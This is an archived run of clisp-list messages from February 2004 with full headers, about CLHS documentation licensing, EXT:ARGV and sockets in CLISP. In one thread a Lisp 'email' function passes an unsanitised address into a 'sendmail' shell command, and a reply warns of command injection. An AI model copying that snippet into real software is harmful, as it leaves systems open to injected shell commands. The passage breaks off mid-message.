Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 16EEB586E5; Mon, 9 Feb 2004 21:28:10 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 17DD53F855; Mon, 9 Feb 2004 21:29:24 +0100 (CET) Message-ID: <16423.60836.26611.580673@thalassa.informatimago.com> To: Joe Corneli Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: help w/ writing documentation? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 12:29:06 2004 X-Original-Date: Mon, 9 Feb 2004 21:29:24 +0100 Joe Corneli writes: > > installed clisp using Fink and I'm not sure where it will habe ...) > > I found them in /sw/share/doc/clisp/ > > the official documentation for CAR is > . > I think (describe 'car) should print the above URL. > > The non-ANSI features should be documented in the impnotes and > DESCRIBE should print the reference to the appropriate place in > the impnotes. > > I think it would be nice if the data was actually printed to the > screen, not just the reference. It shouldn't be too hard w/ some > text processing to get the stuff to print - assuming it can be > freely distributed. There's an easy way out if the data is free but not freely distributed: Write a program that will download the data and pre-process it for the user in the installation stage. It's not too hard to parse html (but beware: Hyperspec html is invalid). -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Mon Feb 09 12:35:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqI7p-0005FU-0n for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 12:35:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqI7o-0000W2-HI for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 12:35:24 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i19KZAnm014554; Mon, 9 Feb 2004 15:35:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Mon, 09 Feb 2004 13:54:49 -0600") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 12:36:16 2004 X-Original-Date: Mon, 09 Feb 2004 15:35:10 -0500 > * Joe Corneli [2004-02-09 13:54:49 -0600]: > > I think it would be nice if the data was actually printed to the > screen, not just the reference. It shouldn't be too hard w/ some text > processing to get the stuff to print - assuming it can be freely > distributed. GCL comes with some texi docs based on it. could you please investigate the issue? i.e., can we distribute something based on CLHS? then we can use lynx or elinks to convert it to text. maybe. -- Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. From marcoxa@cs.nyu.edu Mon Feb 09 12:41:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqIE6-0007KP-2y for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 12:41:54 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AqIE5-0002Ka-NE for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 12:41:53 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id E746619D6C for ; Mon, 9 Feb 2004 15:41:49 -0500 (EST) Subject: Re: [clisp-list] Re: help w/ writing documentation? Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <63CD0DD6-5B40-11D8-9E8A-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 12:42:22 2004 X-Original-Date: Mon, 9 Feb 2004 15:41:51 -0500 The GCL texi support is very nice, at least it was last I checked. However, I think it is based on CLTL1 (I may be wrong). Marco On Monday, Feb 9, 2004, at 15:35 America/New_York, Sam Steingold wrote: >> * Joe Corneli [2004-02-09 13:54:49 -0600]: >> >> I think it would be nice if the data was actually printed to the >> screen, not just the reference. It shouldn't be too hard w/ some text >> processing to get the stuff to print - assuming it can be freely >> distributed. > > GCL comes with some texi docs based on it. > could you please investigate the issue? > i.e., can we distribute something based on CLHS? > then we can use lynx or elinks to convert it to text. > maybe. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > If You Want Breakfast In Bed, Sleep In the Kitchen. > > > ------------------------------------------------------- > The SF.Net email is sponsored by EclipseCon 2004 > Premiere Conference on Open Tools Development and Integration > See the breadth of Eclipse activity. February 3-5 in Anaheim, CA. > http://www.eclipsecon.org/osdn > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From sds@gnu.org Mon Feb 09 13:16:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqIlS-0002F7-Kx for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 13:16:22 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqIlS-0001p8-4n for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 13:16:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i19LG7nm028594; Mon, 9 Feb 2004 16:16:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, Rick Taube Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> (Rick Taube's message of "Mon, 9 Feb 2004 09:31:18 -0600") References: <015BA8F7-5B15-11D8-9231-000A95674CE4@uiuc.edu> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp *args* question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 13:17:18 2004 X-Original-Date: Mon, 09 Feb 2004 16:16:07 -0500 > * Rick Taube [2004-02-09 09:31:18 -0600]: > > If I save a clisp image and then boot it thusly: > clisp -M /path/to/my.img > > is it possible to discover at runtime what the value for -M was? it has been asked before on many occasions, so I now decided to add this functionality. CVS HEAD now has function EXT:ARGV which returns a (fresh) vector of argument strings. Note that these are the arguments that the driver (clisp) passes to runtime (lisp.run), so it contains "-M" pretty much always. -- Sam Steingold (http://www.podval.org/~sds) running w2k If your VCR is still blinking 12:00, you don't want Linux. From jcorneli@math.utexas.edu Mon Feb 09 13:16:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqIm0-0002R4-FW for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 13:16:56 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqIm0-0002FF-4x for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 13:16:56 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i19LGpg29479; Mon, 9 Feb 2004 15:16:51 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AqIlv-0001eQ-00; Mon, 09 Feb 2004 15:16:51 -0600 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net In-reply-to: <16423.60836.26611.580673@thalassa.informatimago.com> (pjb@informatimago.com) Subject: Re: [clisp-list] Re: help w/ writing documentation? X-all-your-base-are-belong-to-us: You are on the way to destruction. References: <16423.60836.26611.580673@thalassa.informatimago.com> Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 13:17:27 2004 X-Original-Date: Mon, 09 Feb 2004 15:16:51 -0600 There's an easy way out if the data is free but not freely distributed: I don't know, that idea sounds dangerously close to Why-CLISP-is-under-GPL :) From don-sourceforgexx@isis.cs3-inc.com Mon Feb 09 15:53:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqLCx-0001nt-UB for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 15:52:55 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqLCx-0004mn-MX for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 15:52:55 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i19Npp829645; Mon, 9 Feb 2004 15:51:51 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16424.7447.39658.980940@isis.cs3-inc.com> To: To: clisp-list@lists.sourceforge.net In-Reply-To: <200402091734.i19HYT926635@isis.cs3-inc.com> References: <200402091734.i19HYT926635@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] networking Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 15:54:07 2004 X-Original-Date: Mon, 9 Feb 2004 15:51:51 -0800 > Just a ping to find out if there are folks out there "doing much" > with the sockets library in CLISP or if FFI is the preferred method. I use it for web servers, my mail server, etc, etc. There is a raw sockets interface build from FFI that I have also used. > found some messages in the archive from about 3 years ago re: UDP and > using FFI... If there have been more recent messages, a pointer/tip to > a subject line or date range would be appreciated. Thanks, The raw sockets interface is actually not a bad way to go for UDP. In this case you really want to process things by the packet anyway. Though it would be better to have the system do defragmentation for you. > From: "John K. Hinsdale" > Now, I *AM* thinking of writing a simple SMTP client for my programs > to send Email notifications to me for certain events. For that I > would use the socket interface directly from Lisp to speak the SMTP > protocol. Much easier to use something like (defun email (address string) (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address)))) (princ string s) (close s))) then (email address (format nil "from: bar@foo.com~%~ to: ~A~%~ subject: testing~%~%~ this is a test~%~%" address)) If you want a server, I have one at clocc. From jcorneli@math.utexas.edu Mon Feb 09 21:10:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqQAB-0001s6-Uu for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 21:10:23 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqQAB-000327-Il for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 21:10:23 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i1A5AMg09338; Mon, 9 Feb 2004 23:10:22 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AqQAA-0002Fg-00; Mon, 09 Feb 2004 23:10:22 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 09 Feb 2004 15:35:10 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help w/ writing documentation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 21:11:06 2004 X-Original-Date: Mon, 09 Feb 2004 23:10:22 -0600 It seems to be pretty clear from http://www.lispworks.com/reference/HyperSpec/Front/Help.htm#Legal that it is not permissible to distribute modified versions of the CLHS. From als@thangorodrim.de Mon Feb 09 22:40:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqRPV-0001xR-Mp for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 22:30:17 -0800 Received: from osgiliath.yauz.de ([217.17.192.93] ident=1375b56492a5f5760c8708940d1eb7bd) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqRPU-000733-KO for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 22:30:16 -0800 Received: by osgiliath.yauz.de (Postfix, from userid 10) id 03AF56825; Tue, 10 Feb 2004 07:30:12 +0100 (CET) Received: from mordor.angband.thangorodrim.de (mordor.angband.thangorodrim.de [192.168.42.1]) by frodo.angband.thangorodrim.de (Postfix) with ESMTP id CEDEC1C109; Tue, 10 Feb 2004 07:15:52 +0100 (CET) Received: by mordor.angband.thangorodrim.de (Postfix, from userid 1069) id 06DF1A0E4; Tue, 10 Feb 2004 07:15:49 +0100 (CET) From: Alexander Schreiber To: Don Cohen Cc: dgou@mac.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking Message-ID: <20040210061549.GA15314@mordor.angband.thangorodrim.de> References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16424.7447.39658.980940@isis.cs3-inc.com> User-Agent: Mutt/1.3.28i X-URL: http://www.thangorodrim.de X-Public-Key-Fingerprint: AC78 B3A4 583B 3669 0D7A 154E CA70 DC98 C209 0A62 X-PGP-KeyId: C2090A62 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 22:42:06 2004 X-Original-Date: Tue, 10 Feb 2004 07:15:49 +0100 On Mon, Feb 09, 2004 at 03:51:51PM -0800, Don Cohen wrote: > > Just a ping to find out if there are folks out there "doing much" > > with the sockets library in CLISP or if FFI is the preferred method. > I use it for web servers, my mail server, etc, etc. > There is a raw sockets interface build from FFI that I have also used. > > > found some messages in the archive from about 3 years ago re: UDP and > > using FFI... If there have been more recent messages, a pointer/tip to > > a subject line or date range would be appreciated. Thanks, > The raw sockets interface is actually not a bad way to go for UDP. > In this case you really want to process things by the packet anyway. > Though it would be better to have the system do defragmentation for you. > > > From: "John K. Hinsdale" > > Now, I *AM* thinking of writing a simple SMTP client for my programs > > to send Email notifications to me for certain events. For that I > > would use the socket interface directly from Lisp to speak the SMTP > > protocol. > > Much easier to use something like > (defun email (address string) > (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address)))) > (princ string s) (close s))) > then > (email address > (format > nil > "from: bar@foo.com~%~ > to: ~A~%~ > subject: testing~%~%~ > this is a test~%~%" > address)) This is not a good idea. You've just gained yourself a security hole by not fully sanitizing the address string to avoid shell command injections and you are relying on being able to use the sendmail command to send mail. Since you are unportable to other Lisps anyway (ext:make-pipe-output-stream), why not do it the right way and build a very simple SMTP client using the sockets-library? After all, the basic SMTP dialogue is simple enough to be used with telnet to send mail in a hurry. This has the advantage that it works on any platform CLisp runs on, wether it has a working sendmail for you to use and a correct local mail configuration or not. > If you want a server, I have one at clocc. Regards, Alex. -- "Opportunity is missed by most people because it is dressed in overalls and looks like work." -- Thomas A. Edison From pascal@informatimago.com Mon Feb 09 22:49:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqRiQ-0006gG-DS for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 22:49:50 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AqRia-0003re-RA for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 22:50:01 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AA4A1586E2; Tue, 10 Feb 2004 07:49:51 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2AFC0385E0; Tue, 10 Feb 2004 07:51:05 +0100 (CET) Message-ID: <16424.32601.117845.202240@thalassa.informatimago.com> To: Joe Corneli Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: help w/ writing documentation? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 22:50:04 2004 X-Original-Date: Tue, 10 Feb 2004 07:51:05 +0100 Joe Corneli writes: > It seems to be pretty clear from > > http://www.lispworks.com/reference/HyperSpec/Front/Help.htm#Legal > > that it is not permissible to distribute modified versions of the > CLHS. Indeed, but nothing prevents you to distribute a program that fetches an UNMODIFIED copy of CLHS, and modifies it in place at the customer's, without ever distributing that modified version. Besides, we're talking about a modification in the form not in the substance. For one thing, modifications of the form are done all the time (to display, to print, to speak out, etc), and for the other, the current form is invalid HTML. (There are H1 tags embeded in A tags which has never been valid HTML). -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Mon Feb 09 23:04:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqRuH-0007N0-Cv for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 23:02:05 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqRhN-0001Nw-H7 for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 22:48:45 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i1A6luE01911; Mon, 9 Feb 2004 22:47:56 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16424.32412.222684.937127@isis.cs3-inc.com> To: Alexander Schreiber Cc: dgou@mac.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking In-Reply-To: <20040210061549.GA15314@mordor.angband.thangorodrim.de> References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> <20040210061549.GA15314@mordor.angband.thangorodrim.de> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 23:05:03 2004 X-Original-Date: Mon, 9 Feb 2004 22:47:56 -0800 Alexander Schreiber writes: > > (defun email (address string) > > (let ((s (ext:make-pipe-output-stream (format nil "sendmail ~A" address)))) > > (princ string s) (close s))) > > then > > (email address > > (format > > nil > > "from: bar@foo.com~%~ > > to: ~A~%~ > > subject: testing~%~%~ > > this is a test~%~%" > > address)) > > This is not a good idea. You've just gained yourself a security hole > by not fully sanitizing the address string to avoid shell command How do you know whether address has been sanitized? Hmm, if it's not, I wonder how it can be used ... > injections and you are relying on being able to use the sendmail > command to send mail. That's what it's for. An using it is a whole lot easier than rewriting the code in lisp. The only reason not to use it is that you're not satisfied with what it does. Or, of course, if you don't have such a program available. If that's the case, by all means ... From jcorneli@math.utexas.edu Mon Feb 09 23:34:18 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqSPS-0006iF-JE for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 23:34:18 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqSPN-00068m-AJ for clisp-list@lists.sourceforge.net; Mon, 09 Feb 2004 23:34:13 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i1A7YEg21637; Tue, 10 Feb 2004 01:34:14 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AqSPO-0002R5-00; Tue, 10 Feb 2004 01:34:14 -0600 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net In-reply-to: <16424.32601.117845.202240@thalassa.informatimago.com> (pjb@informatimago.com) Subject: Re: [clisp-list] Re: help w/ writing documentation? X-all-your-base-are-belong-to-us: You are on the way to destruction. References: <16424.32601.117845.202240@thalassa.informatimago.com> Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 9 23:35:03 2004 X-Original-Date: Tue, 10 Feb 2004 01:34:14 -0600 Indeed, but nothing prevents you to distribute a program that fetches an UNMODIFIED copy of CLHS, and modifies it in place at the customer's, without ever distributing that modified version. I agree that that _should_ be OK from a legal perspective. But I'm not a lawyer! I think a slightly less 